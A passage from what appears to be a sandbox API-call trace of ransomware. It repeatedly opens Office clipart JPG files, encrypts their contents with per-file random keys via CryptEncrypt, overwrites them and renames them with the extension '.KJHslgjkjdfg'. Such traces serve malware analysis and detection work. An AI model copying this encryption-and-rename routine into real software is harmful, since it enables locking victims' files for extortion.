hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.548] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.548] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.548] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.548] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.548] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.549] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.549] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.549] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb5ac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb5ac, lpOverlapped=0x0) returned 1 [0201.553] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb5b0, dwBufLen=0xb5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb5b0) returned 1 [0201.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.553] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb5b0, lpOverlapped=0x0) returned 1 [0201.553] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.554] SetEndOfFile (hFile=0x130) returned 1 [0201.556] GetProcessHeap () returned 0x2ef0000 [0201.556] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.557] GetProcessHeap () returned 0x2ef0000 [0201.557] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.kjhslgjkjdfg")) returned 1 [0201.558] CloseHandle (hObject=0x130) returned 1 [0201.558] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1 [0201.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.559] GetProcessHeap () returned 0x2ef0000 [0201.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.559] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.559] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0201.563] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.563] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.563] GetProcessHeap () returned 0x2ef0000 [0201.563] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.563] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.563] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.563] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.563] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.563] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.563] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.563] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.563] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.563] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.563] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaa9a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xaa9a, lpOverlapped=0x0) returned 1 [0201.565] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaaa0, dwBufLen=0xaaa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaaa0) returned 1 [0201.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.565] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xaaa0, lpOverlapped=0x0) returned 1 [0201.565] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xab74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.565] SetEndOfFile (hFile=0x130) returned 1 [0201.567] GetProcessHeap () returned 0x2ef0000 [0201.567] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.567] GetProcessHeap () returned 0x2ef0000 [0201.567] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.kjhslgjkjdfg")) returned 1 [0201.568] CloseHandle (hObject=0x130) returned 1 [0201.568] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1 [0201.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.569] GetProcessHeap () returned 0x2ef0000 [0201.569] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.569] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.569] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.569] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.571] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.571] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.571] GetProcessHeap () returned 0x2ef0000 [0201.571] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.571] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.572] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.572] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.572] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.572] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.572] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.572] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.572] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.572] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.572] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x107d4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x107d4, lpOverlapped=0x0) returned 1 [0201.574] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x107e0, dwBufLen=0x107e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x107e0) returned 1 [0201.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.575] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x107e0, lpOverlapped=0x0) returned 1 [0201.575] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x108b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.575] SetEndOfFile (hFile=0x130) returned 1 [0201.578] GetProcessHeap () returned 0x2ef0000 [0201.578] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.578] GetProcessHeap () returned 0x2ef0000 [0201.578] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.kjhslgjkjdfg")) returned 1 [0201.579] CloseHandle (hObject=0x130) returned 1 [0201.579] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1 [0201.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.580] GetProcessHeap () returned 0x2ef0000 [0201.580] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.580] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.580] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0201.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.581] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.581] GetProcessHeap () returned 0x2ef0000 [0201.581] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.581] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.582] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.582] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.582] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.582] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.582] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x955d, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x955d, lpOverlapped=0x0) returned 1 [0201.583] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9560, dwBufLen=0x9560 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9560) returned 1 [0201.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.584] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9560, lpOverlapped=0x0) returned 1 [0201.584] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.584] SetEndOfFile (hFile=0x130) returned 1 [0201.584] GetProcessHeap () returned 0x2ef0000 [0201.584] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.584] GetProcessHeap () returned 0x2ef0000 [0201.584] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.kjhslgjkjdfg")) returned 1 [0201.586] CloseHandle (hObject=0x130) returned 1 [0201.586] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1 [0201.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.587] GetProcessHeap () returned 0x2ef0000 [0201.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.587] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.587] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0201.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.589] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.589] GetProcessHeap () returned 0x2ef0000 [0201.589] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.589] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.589] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.589] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.589] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) 